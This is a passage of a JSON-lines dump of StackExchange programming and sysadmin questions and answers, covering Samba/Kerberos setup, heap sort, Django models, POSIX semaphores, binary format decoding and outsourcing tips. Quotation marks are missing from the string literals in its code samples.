typedef:typedef int MYINTEGER:the name MYINTEGER is another name for the type int, not a textual substitution for the keyword int.Things get even worse with more complicated types.  For example, given this:typedef char *char_ptr;char_ptr a, b;#define CHAR_PTR char*CHAR_PTR c, d;a, b, and c are all pointers, but d is a char, because the last line expands to:char* c, d;which is equivalent tochar *c;char d;(Typedefs for pointer types are usually not a good idea, but this illustrates the point.)Another odd case:#define DWORD longDWORD double x;     /* Huh? */"  } 
{  "id": "_unix.193541"  , "question": "I try to join Active Directory and Samba 4 in Ubuntu 12.04.05.When I run host -t SRV _kerberos._udp.test.sg I get the error:  Host _kerberos._udp.test.sg not found: 3(NXDOMAIN)meanwhile$# host -t SRV _ldap._tcp.test.sg _ldap._tcp.test.sg has SRV record 0 0 389 4ecapsvsg6.test.sg.$# host -t A 4ECAPSVSG6.test.sg4ECAPSVSG6.test.sg has address 10.153.64.5My /etc/samba/smb.conf:# Global parameters[global]   workgroup = TEST   realm = TEST.SG   netbios name = 4ECAPSVSG6   server role = active directory domain controller   dns forwarder = 10.153.64.5   security = ads   use kerberos keytab = true   password server = 4ecapsvsg6.test.sg   allow dns updates = nonsecure and secure   bind interfaces only = no   server services = +smb -s3fs   dcerpc endpoint servers = +winreg +srvsvc   passdb backend = samba4   server services = smb, rpc, nbt, wrepl, ldap, cldap, kdc, drepl, winbind, ntp_signd, kcc, dnsupdate, dns My /etc/krb5.conf:[libdefaults]    default_realm = TEST.SG    krb4_config = /etc/krb.conf    krb4_realms = /etc/krb.realms    kdc_timesync = 1    ccache_type = 4    forwardable = true    proxiable = true[realms]     4ECAP.SG = {          kdc = 4ecapsvsg6.test.sg:88          admin_server = 4ecapsvsg6.test.sg:749          default_domain = test.sg    }[domain_realm]    .test.sg = TEST.SG    test.sg = TEST.SG[login]    krb4_convert = true    krb4_get_tickets = falseMy /etc/hosts:  127.0.0.1       localhost  127.0.1.1       4ecapsvsg6  # The following lines are desirable for IPv6 capable hosts  ::1     ip6-localhost ip6-loopback  fe00::0 ip6-localnet  ff00::0 ip6-mcastprefix  ff02::1 ip6-allnodes  ff02::2 ip6-allrouters  10.153.64.5     4ecapsvsg6.test.sg     4ecapsvsg6What is the solution? Without it I cannot run join domain with command:sudo net ads joinwhich comes out error likeFailed to join domain: failed to lookup DC info for domain 'TEST' over rpc: Logon failureI did kinit administrator and klist, result:   Ticket cache: FILE:/tmp/krb5cc_0   Default principal: administrator@TEST.SG    Valid starting       Expires              Service principal    26/03/2015 14:29:04  27/03/2015 00:29:04  krbtgt/TEST.SG@TEST.SG    renew until 27/03/2015 14:29:00"  , "title": "Kerberos Join Active Directory Failure"  , "tags": "active directory;kerberos;samba4"  , "accepted_answer": "After i google this past week, lucky i found this site http://edoceo.com/howto/samba4Happens to be i need to edit my dnsmasq (/etc/dnsmasq.conf) add this line :srv-host=_kerberos._tcp.test.sg,4ecapsvsg6.test.sg,88  srv-host=_kerberos._tcp.dc._msdcs.test.sg,4ecapsvsg6.test.sg,88  srv-host=_kerberos._udp.test.sg,4ecapsvsg6.test.sg,88srv-host=_kpasswd._tcp.test.sg,4ecapsvsg6.test.sg,464  srv-host=_kpasswd._udp.test.sg,4ecapsvsg6.test.sg,464and disable Bind9 (which installed along with Samba4 by default)Now the problems gone :)Only one problems remains, how to connect to AD (which i'll open another thread for that)"  } 
{  "id": "_codereview.87263"  , "question": "public static <T> void heapSort(        T[] array,         Comparator<? super T> comparator) {    int length = array.length;    int start = (length - 1) /2; //right-most parent node    //build heap    while (start > -1)        maxHeapify(array, start--, length, comparator);    //move max to end, and rebalance.    while (length > 1) {         swap(array, 0, length - 1);        length--;        maxHeapify(array, 0, length, comparator);    }}private static <T> void maxHeapify(        T[] array,         int node,         int length,         Comparator<? super T> comparator) {    int left = 2*node + 1;    if (left >= length)        return;    int right = left + 1;    int newNode = node;    if (comparator.compare(array[left], array[node]) > 0)        newNode = left;    if (right < length && comparator.compare(array[right], array[newNode]) > 0)        newNode = right;    if (newNode != node) {        swap(array, node, newNode);        maxHeapify(array, newNode, length, comparator);    }}I wrote a merge sort that seems to be using about half as many comparisons. Am I doing something wrong here?"  , "title": "Can this heap sort be further optimized to have fewer comparisons?"  , "tags": "java;performance;algorithm;sorting"  } 
{  "id": "_softwareengineering.346823"  , "question": "Recently, I was given a task of re-writing a really old piece of software. The whole software itself is well written, except for the one thing that worries me, classes containing a huge amount of code. A lot of that is nothing but really really big validation chains that go like:if (!isFooValid(dataObject.getFoo()))    throw new FooException(...);if (!isBarValid(dataObject.getBar()))    throw new BarException(...);And that inspired me to write an API that can help in decoupling the validation chains.As far as my understanding goes, validation is generally a Composite Pattern, and if we break it down and separate the what we want to from the how we want to do it, we get:If foo is valid then do something.And we got an abstraction: is valid.So I went up on decoupling how do we get the abstraction is valid, I came up with a design idea.I can have a Result object, that contains the message about validation with a simple true/false to check whether it was successful or not.public interface Result {    // StandardResult is the default implementation of Result.    // Using the default constructor gives an instance that indicates    // SUCCESS state of validation.    public static final Result OK = new StandardResult();           public Throwable getError();        public boolean isOk();        public String getMessage();    }I can have a Validator<T> object, that has the validation logic, and then returns a Result object that contains information about what happened.public interface Validator<T> {         public Result validate(T target);    }This enables me to do stuff like:Result r = new SomeStringValidator().validate(This String);And similarly, I can do the validation chains using a Chain of Responsibility pattern.public class ChainValidator<T> implements Validator<T> {    // This list contains all the validators that are in the chain.    private final List<Validator<T>> validators = new ArrayList<Validator<T>>();    public CompositeResult<T> validate(T target) {        CompositeResult<T> result = new CompositeResult<T>();        for (Validator<T> v : validators) {            Result validationResult = null;            try {                validationResult = v.validate(target);            } catch (Exception ex) {                // Creating it with StandardResult(Throwable) would give                // an instance that indicates FAILED state.                validationResult = new StandardResult(ex);            }            result.put(v, validationResult);        }        return result;    }    private final class CompositeResult<T> implements Result {        private final Map<Validator<T>, Result> delegate = new HashMap<Validator<T>, Result>();         private Throwable failCause;        public boolean isOk() {            for (Result r : delegate.values()) {                if (!r.isOk()) {                    failCause = r.getError();                    return false;                }            }            return true;        }        public String getMessage() {            return delegate.toString();        }        public void put(Validator<T> validator, Result resut) {            delegate.put(validator, resut);        }        public Throwable getError() {            return failCause;        }    }}This works but it leaves me with a few questions:The very first guideline to API designing says Do not Return Null to Indicate the Absence of a Value, but here I am returning a null object in Result#getError() method.Does the use of generics on my example sound like code smell?This one is going to be opinion basedIs it worthy of making it into an API instead of just 4 classes?Source code could be found here."  , "title": "Developing an API to delegate/decouple long Validation Chains"  , "tags": "java;api design"  } 
{  "id": "_reverseengineering.1971"  , "question": "I have binary data representing a table.Here's the data when I print it with Python's repr():\\xff\\xff\\x05\\x04test\\x02A\\x05test1@\\x04\\x03@@\\x04\\x05@0\\x00\\x00@\\x05\\x05test2\\x03\\x05\\x05test1\\x06@0\\x00\\x01@\\x00Here's what the table looks like in the proprietary software.        test1                test1test1test          test1test1                test1test2                                                        test1                test1                test1                        test1                test1                                                        test1                test1                I was able to guess some of it:It's column by column then cell by cell, starting at the top left cell.The \\x04 in \\x04test seems to be the length (in bytes I guess) of the following word.@ mean the last valueAnyone knows if the data is following a standard or have any tips how to decode it?Thanks!Here's an example with python :from struct import unpackdef DecodeData(position):    print position, position    firstChar = data[position:][:1]    size_in_bytes = unpack('B', firstChar)[0]    print firstChar: {0}. size_in_bytes: {1}.format(repr(firstChar), size_in_bytes)    return size_in_bytesdef ReadWord(position, size_in_bytes):    word = unpack('%ds' % size_in_bytes, data[position:][:size_in_bytes])[0]    print word:, worddata = \\xff\\xff\\x05\\x04test\\x02A\\x05test1@\\x04\\x03@@\\x04\\x05@0\\x00\\x00@\\x05\\x05test2\\x03\\x05\\x05test1\\x06@0\\x00\\x01@\\x00position = 0print position += 1DecodeData(position)print \\\\xff - ?print position += 1DecodeData(position)print \\\\x05 - ?print position += 1size_in_bytes = DecodeData(position)position += 1ReadWord(position, size_in_bytes)print position += size_in_bytesDecodeData(position)position += 1DecodeData(position)print '2A' : could be to say that test has 2 empty cells before itprint position += 1size_in_bytes = DecodeData(position)position += 1word = unpack('%ds' % size_in_bytes, data[position:][:size_in_bytes])[0]print word:, wordposition += size_in_bytesDecodeData(position)print @: mean that there's another test1 cellprint position += 1DecodeData(position)position += 1DecodeData(position)print \\\\x04\\\\x03 - Could be that the next value is 3 cells downprint position += 1DecodeData(position)print position += 1print @@ - Seems to mean 3 repetitionsprint position += 1DecodeData(position)position += 1DecodeData(position)print \\\\x04\\\\x05 - Could be that the next value is 5 cells downprint position += 1DecodeData(position)print @ - repetitionprint position += 1DecodeData(position)print position += 1DecodeData(position)position += 1DecodeData(position)print \\\\x00\\\\x00 - That could mean to move to the first cell on the next columnprint position += 1DecodeData(position)print @ - repetitionprint position += 1DecodeData(position)print \\\\x05 - ?print position += 1size_in_bytes = DecodeData(position)position += 1word = unpack('%ds' % size_in_bytes, data[position:][:size_in_bytes])[0]print word:, wordposition += size_in_bytesprint DecodeData(position)print \\\\x03 - Could be to tell that the pervious word 'test2' is 3 cells downprint position += 1DecodeData(position)print \\\\x05 - ?print position += 1size_in_bytes = DecodeData(position)position += 1word = unpack('%ds' % size_in_bytes, data[position:][:size_in_bytes])[0]print word:, wordposition += size_in_bytesprint DecodeData(position)print \\\\x06 - Could be to tell that the pervious word 'test1' is 6 cells downprint position += 1DecodeData(position)print @ - repetitionprint position += 1DecodeData(position)print \\\\0 - ?print position += 1DecodeData(position)position += 1DecodeData(position)print \\\\x00\\\\x01 - Seems to mean, next column second cellprint position += 1DecodeData(position)print @ - repetitionprint position += 1DecodeData(position)print \\\\x00 - end of data or column"  , "title": "Any idea how to decode this binary data?"  , "tags": "unpacking;file format"  , "accepted_answer": "Here's an explanation for what I think the individual symbols mean. I'm basing this around the presumption that a little selector is going through the cells, one by one.\\xFF = Null cell\\x05 = A string is following, with \\xNumber coming after the string to define how far to displace the string from the selector's current position, if at all. \\xNumber string = A string of length number\\x2A = Could be a byte that says not to displace the current string, and also to assume that the next piece of data is defining a string to be placed in the next cell. Questionable meaning.\\x04 \\xNumber = Move selector ahead \\xNumber cells and place previous string into there.0 \\x00 \\x0Number = New column, move selector into row \\xNumber, and place previous string into there.@ = Place previously used string in the cell following the current one.So here's my interpretation of the data you're giving us:\\xFF\\xFF = two null cells\\x05 = A cell, singular, with a string, placed following the null cells, because of the \\x2A following the string \\x04 test = The string.\\x2A \\x05 test1 = Another string placed into the cell following. No number needed, since \\x2A implies that it's being placed right after test@ = Place test1 into the cell after the test1 string was first placed.\\x04 \\x03 = Move selector ahead three cells and place test1 where it lands.@@ = Place into the two cells following also.\\x04 \\x05 @ = Skip four cells, place into two cells.0 = New column.\\x00 \\x00 @ = Using string last defined (test1), place into first two cells of the column. \\x05 \\x05 test2 \\x03 = Place a cell three cells afterwords.\\x05\\x05test1\\x06 = Place test1 into a cell 6 after test2@ = Place test1 again, too.0 = move to next column\\x00\\x01 = Place previous string at location 01 @ = And also at location 02\\x00 = DoneExplanation: My method was to look for a pattern, check if the pattern withstood further scrutiny - the first pattern I checked seemed to - and clear up any minor issues I had with it. Seems to have worked."  } 
{  "id": "_webmaster.37631"  , "question": "Let's say I have two sites that cover the same vertical/topic. one in the USA and one in Canada.  Both sites have local-related content, which is obviously unique by location.  However they will share common news or blog pages.How do I avoid getting hit with duplicate content on both sites for those news/blog pages?If the content is exactly the same, I'm guessing I would have to pick which site's content I want to noindex,nofollow, is that correct, and if so, is that all I have to add on the URL links to those pages, and the pages' meta tags?"  , "title": "How to handle possible duplicate content across multiple sites?"  , "tags": "seo;duplicate content;local seo"  , "accepted_answer": "You can use the canonical tag to tell the search engines that it is the same content, but on a different URLAlso consider using the source tag"  } 
{  "id": "_webmaster.13896"  , "question": "The documentation states that Any supported language code. is supported, but then says:Which language is used in the interface for the pre-defined themes. The following languages are supported:   - English  en   - Dutch    nl   - French   fr   - German   de   - Portuguese   pt   - Russian  ru   - Spanish  es   - Turkish  trIf the language of your site isn't supported, you can always use custom theming to put reCAPTCHA in your language.If the first statement is meant to mean:Any language. It  isn't true because Japan (ja/jp/jpn) isn't supported as far as I can see.  (Plus then, the last statement disproves the first one.) Languages in the list (above), then what about Italian? it is supported but not in the list.So which languages are actually supported?"  , "title": "Which languages are supported by reCAPTCHA?"  , "tags": "google;language;captcha"  , "accepted_answer": "Pre-defined:Completely supported:EnglishPartially supported:DutchFrenchGermanPortugueseRussianSpanishTurkish play sound again, download sound as MP3, and entire manual (JavaScript-independent) challenge in English.Barely supported:Italianplay sound again, download sound as MP3, entire manual (JavaScript-independent) challenge, plus audio challenge &=and help popup in English.Custom Translations:Custom translations can be written for any language, but the audio challenge, help popup, and manual (JavaScript-independent) challenge will always be in English.The custom translations are defined using Javascript that's why they won't work when the manual challenge is being used. Note: The manual challenge is displayed in an iframe (can't edit it) and includes the following text (always in English):We need to make sure you are a human. Please solve the challenge below, and click the I'm a Human button to get a confirmation code. To make this process easier in the future, we recommend you enable JavascriptNote: Latin/Roman alphabet is the only supported alphabet."  } 
{  "id": "_codereview.152759"  , "question": "I am trying to write fast/optimal code to vectorize the product of an array of complex numbers.  In simple C this would be:#include <complex.h>complex float f(complex float x[], int n ) {  complex float p = 1.0;  for (int i = 0; i < n; i++)    p *= x[i];  return p;}However, gcc can't vectorize this and my target CPU is the AMD FX-8350 which supports AVX.  To speed it up I have tried:typedef float v4sf __attribute__ ((vector_size (16)));typedef union {  v4sf v;  float e[4];} float4;typedef struct {  float4 x;  float4 y;} complex4;static complex4 complex4_mul(complex4 a, complex4 b) {  return (complex4){a.x.v*b.x.v -a.y.v*b.y.v, a.y.v*b.x.v + a.x.v*b.y.v};}complex4 f4(complex4 x[], int n) {  v4sf one = {1,1,1,1};  complex4 p = {one,one};  for (int i = 0; i < n; i++) p = complex4_mul(p, x[i]);  return p;}Can this code be improved for AVX and is it as fast as it can get?"  , "title": "Vectorizing the product of an array of complex numbers"  , "tags": "performance;c;vectorization;gcc"  } 
{  "id": "_unix.338815"  , "question": "I recently clean installed Mint 18 KDE on a MacBook Air, and the Update Manager in the system tray has no default behavior.  I would like it to open the Update Manager, but instead I have to right click it and choose Update Manager.  I've been trying to find the configuration for that item in the system tray so that I can enable a default behavior, but either I haven't found the correct config file, or I was unable to determine the correct setting.  Can anyone point me to the correct file and the correct setting?Thanks in advance,syserss"  , "title": "Linux Mint 18 Sarah KDE Update Manager"  , "tags": "linux mint;kde"  } 
{  "id": "_unix.75231"  , "question": "I am installing Oracle grid 11gR2 using silent install with response file. I am getting error after Collecting interface information for node 1 in logs.I have a feeling that this could be due to option oracle.crs.config.privateinterconnects=eth0:xxx.xxx.xxx.xxx:1,eth1:xxx.xxx.xxx.xxx:2Here I have specified only for 1 node. Do I need to specify interconnects for both nodes.ERROR message: One or more nodes have interfaces not configured with a subnet that is common across all nodes."  , "title": "Oracle 11gR2 grid silent installation: error for privateinterconnects"  , "tags": "software installation;cluster;oracle database;private network"  } 
{  "id": "_softwareengineering.68101"  , "question": "Do you spend your working hours learning new stuff, reading tech blogs, books on programming etc.? What's your opinion on it? Can an employer have benefits allowing developers to spend about 1-1.5 hrs a day on learning. Will it be repaid in future (with better productivity etc.)?"  , "title": "Do you spend your working hours on learning?"  , "tags": "learning;self improvement"  , "accepted_answer": "I am of the mindset that it is essential for a good development environment to allow for an hour or two at most for exploration and learning, barring when it's crunch time on an application of course.  An environment which doesn't do this is a red flag in my book because it tells me they don't value improvement.EDITWorst of all is the place that reprimands it's developers for reading blogs/technical sites instead of writing code.  That, to me, indicates an environment that doesn't care about it's developers beyond what they can squeeze out of them."  } 
{  "id": "_codereview.97820"  , "question": "Here's the challenge:Once upon a time in a strange situation, people called a number ugly if it was divisible by any of the one-digit primes (\\$2\\$, \\$3\\$, \\$5\\$ or \\$7\\$). Thus, \\$14\\$ is ugly, but \\$13\\$ is fine. \\$39\\$ is ugly, but \\$121\\$ is not. Note that \\$0\\$ is ugly. Also note that negative numbers can also be ugly: \\$-14\\$ and \\$-39\\$ are examples of such numbers.One day on your free time, you are gazing at a string of digits, something like:123456You are amused by how many possibilities there are if you are allowed to insert plus or minus signs between the digits. For example you can make:1 + 234 - 5 + 6 = 236which is ugly. Or:123 + 4 - 56 = 71which is not ugly. It is easy to count the number of different ways you can play with the digits: Between each two adjacent digits you may choose put a plus sign, a minus sign, or nothing. Therefore, if you start with N digits there are \\$3^{N-1}\\$ expressions you can make. Note that it is fine to have leading zeros for a number. If the string is '01023', then '01023', '0+1-02+3' and '01-023' are legal expressions. Your task is simple: Among the \\$3^{N-1}\\$ expressions, count how many of them evaluate to an ugly number.Input Sample:Your program should accept as its first argument a path to a filename. Each line in this file is one test case. Each test case will be a single line containing a non-empty string of decimal digits. The string in each test case will be non-empty and will contain only characters '\\$0\\$' through '\\$9\\$'. Each string is no more than 13 characters long. E.g.1901112345Output Sample:Print out the number of expressions that evaluate to an ugly number for each test case, each one on a new line. E.g.01664Is the code understandable? How can it be improved? #include <iostream>#include <fstream>#include <algorithm>#include <iterator>#include <vector>#include <bitset>#include <cmath>#include <sstream>#include <numeric>using namespace std;const int one_prime[4] = {2,3,5,7};bool isUgly(int number){    if(number == 0) return true;    for(int i=0; i<4; i++)    {        if(number % one_prime[i] == 0)                return true;    }    return false;}vector<string> makeBinary(size_t perm){    vector<string> output;    size_t eraseLength = bitset<32>(perm).to_string().find_first_of('1');    while(perm--)    {        string binary = bitset<32>(perm).to_string();        binary.erase(binary.begin(), binary.begin() + eraseLength);        output.push_back(binary);    }    return output;}vector<string> getPartitions(const vector<string>& binarySet, const string& input){    vector<string> binOperator;    for(size_t idx = 0; idx < binarySet.size(); idx++)    {        string str(input);        for(size_t pos = 0,opCount = 1; (pos = binarySet[idx].find('1',pos) )!= string::npos; pos++,opCount++)                        str.insert(pos+opCount,  );        binOperator.push_back(str);    }    return binOperator;}vector<int> makePartitionsToNum(const string& str){    vector<int> numbers;    stringstream split(str);    string buf;    while(split >> buf)    {        int value;        istringstream toNum(buf);        toNum >> value;        numbers.push_back(value);    }    return numbers;}void getReadyNumbers(vector<int>* readyNumbers, const vector<int> &numbers){    if(numbers.size() == 1)    {        (*readyNumbers).push_back(numbers[0]);    }    else if(numbers.size() == 2)    {        (*readyNumbers).push_back(numbers[0] + numbers[1]);        (*readyNumbers).push_back(numbers[0] - numbers[1]);    }    else    {        size_t possiblePerm = pow(2,static_cast<double>(numbers.size() - 1) );        vector<string> binSet(makeBinary(possiblePerm));        for(size_t i=0; i<binSet.size(); i++)        {            int result = numbers[0];            for(size_t binCounter=1; binCounter<numbers.size(); binCounter++)            {                if(binSet[i][binCounter - 1] == '1')                {                    result += numbers[binCounter];                }                else                {                    result -= numbers[binCounter];                }            }            (*readyNumbers).push_back(result);        }    }}void PrintSolution(const vector<int>& readyNumbers){    size_t UglyNumberCount = 0;    for(size_t i=0; i<readyNumbers.size(); i++)    {        if(isUgly(readyNumbers[i]))        {            UglyNumberCount++;        }    }    cout << UglyNumberCount << endl;}int main(int argc, char *argv[]){    ifstream stream(argv[1]);    string input;    while (getline(stream, input))    {        size_t perm = pow(2,static_cast<double>(input.size() - 1) );        vector<string> binarySet(makeBinary(perm));        vector<string> partitionSet (getPartitions(binarySet, input));        vector<int> readyNumbers;        for(size_t idx=0; idx<partitionSet.size(); idx++)        {                vector<int> numbers(makePartitionsToNum(partitionSet[idx]));                getReadyNumbers(&readyNumbers,numbers);        }        PrintSolution(readyNumbers);    }    return 0;}"  , "title": "Ugly_Numbers challenge"  , "tags": "c++;beginner;programming challenge"  } 
{  "id": "_unix.176035"  , "question": "I use Fedora. There are a number of programmes packaged in a security spin. Included desktop files work but open the programmes with root priviliges. How can I edit the desktop file shown here to open the target without root. I have tried every obvious edit I can think of but am not having any luck.#!/usr/bin/env xdg-open[Desktop Entry]Name=argusExec=gnome-terminal -e su -c 'argus -h; bash'TryExec=argusType=ApplicationCategories=System;Security;X-SecurityLab;X-Reconnaissance;"  , "title": ".desktop file. Correct exec path"  , "tags": "command line;gnome shell;freedesktop;.desktop"  , "accepted_answer": "#!/usr/bin/env xdg-open[Desktop Entry]Name=argusExec=gnome-terminal -e sh -c 'argus -h; bash'TryExec=argusType=ApplicationCategories=System;Security;X-SecurityLab;X-Reconnaissance;This matches behavior most closely. It could be improved upon by someone who knows argus better than I"  } 
{  "id": "_datascience.18226"  , "question": "I have a collection of data for a multiplayer game (2000 games, 10 players each). I would like to create clusters from this data, each containing the ids of 3 players that had played against each other."  , "title": "Detecting patterns from a collection of data"  , "tags": "python"  , "accepted_answer": "You can use Python networkx module to find all 3-cliques:import networksG = nx.Graph() # The clique locator does not work with digraphsG.add_edges_from([('A','B'),('A','D'),('A','C'),('B','D'),('C','D'),('D','E')])[clique for clique in nx.enumerate_all_cliques(G) if len(clique)==3]    #[['B', 'A', 'D'], ['A', 'D', 'C']]Finding all clique may take a lot of time and memory. Luckily, nx.enumerate_all_cliques is a generator that produces smaller cliques first, so you can stop retrieving cliques after you get a clique with more than 3 nodes:cliques=[]for c in nx.enumerate_all_cliques(G):  if len(c) < 3: continue  if len(c) > 3: break  cliques.append(c)print(cliques)"  } 
{  "id": "_codereview.9555"  , "question": "For flexing my newly acquired Django & Python muscles, I have set up a mobile content delivery system via Wap Push (Ringtones, wallpapers, etc).The idea is that a keyword comes in from an sms via an URL, let's say  the keyword is LOVE1 and the program should search if this keyboard points to a Ringtone or an Image. For this I have created a parent model class called Categoria (Category) and two subclasses Ringtone and Wallpaper. This subclasses have a variable called archivo (filename) which points to the actual path of the content.Dynpath is a dynamic URL which has been created  to download the content, so it is available only for X amount of time. After that a Celery scheduled task deletes this dynamic URL from the DB.I have a piece which has code smell which I would like to have some input from everyone here.Modelclass Contenido(models.Model):    nombre = models.CharField(max_length=100)    fecha_creacion = models.DateTimeField('fecha creacion')    keyword = models.CharField(max_length=100)class Ringtone(Contenido):    grupo = models.ManyToManyField(Artista)    archivo = models.FileField(upload_to=uploads)    def __unicode__(self):        return self.nombreclass Wallpaper(Contenido):    categoria = models.ForeignKey(Categoria)    archivo = models.ImageField(upload_to=uploads)    def __unicode__(self):        return self.nombreclass Dynpath(models.Model):    created = models.DateField(auto_now=True)    url_path = models.CharField(max_length=100)    payload = models.ForeignKey(Contenido)    sms = models.ForeignKey(SMS)    def __unicode__(self):        return str(self.url_path)ViewHere is my view which checks that the Dynamic URL exists and here is where the code (which works) gets a little suspicious/ugly:    def tempurl(request,hash):        p = get_object_or_404(Dynpath, url_path=hash)        try:            fname = str(p.payload.wallpaper.archivo)        except DoesNotExist:            fname = str(p.payload.ringtone.archivo)        fn = open(fname,'rb')        response = HttpResponse(fn.read())        fn.close()        file_name = os.path.basename(fname)        type, encoding = mimetypes.guess_type(file_name)        if type is None:            type = 'application/octet-stream'        response['Content-Type'] = type        response['Content-Disposition'] = ('attachment; filename=%s') % file_name        return responseI am talking explictitly this snippet:      try:            fname = str(p.payload.wallpaper.archivo)        except DoesNotExist:            fname = str(p.payload.ringtone.archivo)I would have loved to do something like:fname = p.payload.archivoBut it would not let me do that, from the docs:Django will raise a FieldError if you override any model field in any ancestor model.I took a look at generics, but could not make it work with them. Any ideas on a better way of doing this?"  , "title": "Mobile content delivery system"  , "tags": "python;django"  , "accepted_answer": "You have 2 models (Ringtone extends Contenido). As I understand you store same nombre, fecha_creacion, keyword in both models and every update/delete/insert operation on the first model must be synchronized with another one. You can avoid this, make foreign key to base model:class Contenido(models.Model):    nombre = models.CharField(max_length=100)    fecha_creacion = models.DateTimeField('fecha creacion')    keyword = models.CharField(max_length=100)class Ringtone(models.Model):    contenido = models.ForeignKey(Contenido)    grupo = models.ManyToManyField(Artista)    archivo = models.FileField(upload_to=uploads)class Wallpaper(models.Model):    contenido = models.ForeignKey(Contenido)        categoria = models.ForeignKey(Categoria)    archivo = models.ImageField(upload_to=uploads)Then in your Viewsdef tempurl(request,hash):    p = get_object_or_404(Dynpath, url_path=hash)    try:        obj=Wallpaper.objects.get(contenido_id=p.id)    except Wallpaper.DoesNotExist:        try:            obj=Ringtone.objects.get(contenido_id=p.id)        except Ringtone.DoesNotExist:            raise Http404     fname = str(obj.archivo)    # use with statement    with open(fname,'rb') as fn:        response = HttpResponse(fn.read())Uhh.. Is it still complicated? If you can retrieve content type (ringtone or wallpaper) and save it in Dynpath field, solution will be easier.P.S. Please write your code in English not Spanish )"  } 
{  "id": "_softwareengineering.115019"  , "question": "I stumbled upon an article by Den Delimarsky on What is a ContentPresenter? which says:In WPF there is an element called ContentPresenter, that is often used inside control templates, as well as inside the root application markup.I don't understand the inside the root application markup part, because I thought that ContentPresenter can only used inside of a ControlTemplate.The role of the ContentPresenter is quite clear when used in a ControlTemplate, but what are the valid reasons to use ContentPresenter outside of a template's markup? "  , "title": "What are the valid reasons to use ContentPresenter outside of template?"  , "tags": ".net;wpf"  } 
{  "id": "_codereview.27000"  , "question": "I wrote an example program about UNIX semaphores, where a process and its child lock/unlock the same semaphore. I would appreciate your feedback about what I could improve in my C style. Generally I feel that the program flow is hard to read because of all those error checks, but I didn't find a better way to write it. It's also breaking the rule of one vertical screen maximum per function but I don't see a logical way to split it into functions.#include <semaphore.h>#include <stdio.h>#include <errno.h>#include <stdlib.h>#include <unistd.h>#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>#include <sys/mman.h>int main(void){   /* place semaphore in shared memory */  sem_t *sema = mmap(NULL, sizeof(sema),           PROT_READ |PROT_WRITE,MAP_SHARED|MAP_ANONYMOUS, -1, 0);  if (!sema) {    perror(Out of memory);    exit(EXIT_FAILURE);  }  /* create, initialize semaphore */  if (sem_init(sema, 1, 0) < 0) {    perror(semaphore initilization);    exit(EXIT_FAILURE);  }  int i, nloop=10;  int ret = fork();  if (ret < 0) {    perror(fork failed);    exit(EXIT_FAILURE);  }  if (ret == 0) {     /* child process*/    for (i = 0; i < nloop; i++) {      printf(child unlocks semaphore: %d\\n, i);      sem_post(sema);      sleep(1);    }    if (munmap(sema, sizeof(sema)) < 0) {      perror(munmap failed);      exit(EXIT_FAILURE);    }    exit(EXIT_SUCCESS);  }  if (ret > 0) {    /* back to parent process */    for (i = 0; i < nloop; i++) {      printf(parent starts waiting: %d\\n, i);      sem_wait(sema);      printf(parent finished waiting: %d\\n, i);    }    if (sem_destroy(sema) < 0) {      perror(sem_destroy failed);      exit(EXIT_FAILURE);    }    if (munmap(sema, sizeof(sema)) < 0) {      perror(munmap failed);      exit(EXIT_FAILURE);    }    exit(EXIT_SUCCESS);  }}"  , "title": "UNIX semaphores"  , "tags": "c;linux"  , "accepted_answer": "Your code is good, especially the error checks.  Error checking always takesup space and can be distracting, but good error checking is a mark of goodcode (and of a good programmer).As you say, main is a bit long, but it can be shortened quite nicely byextracting the two for-loops into functions.  You can also remove the duplicatemunmap call.  Here's what you get after the semaphore initialisation:int pid = fork();if (pid < 0) {    perror(fork);    exit(EXIT_FAILURE);}else if (pid == 0) {    child(sema, nloops);}else {    parent(sema, nloops);    int stat;    wait(&stat);    if (sem_destroy(sema) < 0) {        perror(sem_destroy);        exit(EXIT_FAILURE);    }}if (munmap(sema, sizeof *sema) < 0) {    perror(munmap);    exit(EXIT_FAILURE);}exit(EXIT_SUCCESS);Note that I renamed ret as pid, as it holds a process ID.   And I added await call after the parent loop completes so that the parent waits for thechild to exit (stat holds the child exit status).  I also removed the wordfailed from the perror calls, as the message perror prints will makeit clear that the call failed.Some other points: my Mac's mmap takes MAP_ANON not MAP_ANONYMOUS -which system are you using?  And also there is a MAP_HASSEMAPHORE flag thatwould be appropriate here, although your system may not have it (no ideaexactly what it does though).Finally, the mmap/munmap calls use sizeof(sema) which is the size of thepointer.  If it works, I would guess that mmap is actually mapping a wholepage and ignoring the size.  However, it should be sizeof *sema or sizeof(sema_t)"  } 
{  "id": "_softwareengineering.39146"  , "question": "My company has retained an outside firm to develop an iPhone app for us.  As the only internal developer with any knowledge of Objective-C, I've been assigned to develop the relevant APIs on our site, but also to do anything I can to make sure the whole thing comes together on time.Any suggestions for things I should do or things I should watch out for, particularly from those who've been down this road before?"  , "title": "Tips for / pitfalls of working on an outsourced project"  , "tags": "project management;outsourcing"  , "accepted_answer": "I outsourced more than 300 IT projects of all sizes over the past 10 years. I've been the outsourced developer myself.Here are the most problematic problems I encountered multiple times and the suggestions to avoid them (I learn the hard way). Those mistakes cost me hundred of thousands dollars, so I hope you will save as much thanks to the suggestions so I'm even and can rest in piece :)require access to the repository. If not possible, request to be sent the full source every week for review.You don't want to discover at the end of the project the code did not meet your quality standards such as missing comments, documentation, poor coding practices, etc. Reviewing the work frequently will allow you to give feedback early in the development phase.ensure that they signed appropriate NDA and IP assignment documents.That's one of the common mistakes. Things went bad the company you outsourced the project to claim full ownership of their work. Or worse, they decide to use what you paid for for their own business. Ensure that a proper NDA and intellectual property rights assignment is signed.they often use custom framework of libraries that comes without source code. Verify it is acceptable to you.Sometimes the developers or company you hired decide to use custom framework or library they wrote. This may be a problem if you are so dependent to them changing your developer is almost impossible. Sometimes the development shop will give you full right on the code they wrote specifically for you but not their libraries. It's as problematic. Ensuring that you will have the possibility to continue your project without them is a really important possibility you want to keep. ensure that they use standards in the technology of choice.Even if they doesn't use specific custom libraries, you may face another problem: specific way of coding that don't meet industry standards. In the worst case, you have to rewrite everything to make any maintenance possible without them.if deadline is important, request penalties in case they miss it.This is one is sometimes not specified explicitly. What happens if they miss the deadline? Let's say they face a strong internal problem preventing them to deliver on time? Will you have the budget to develop in another dev shop in urgency?As a general rule, I would add that the specification is very important in that kind of work. So you have lot of responsibilities there. With time, I learnt that it's preferable to propose a first small project to a company to test it first, and reserve bigger projects to trusted providers you work with before."  } 
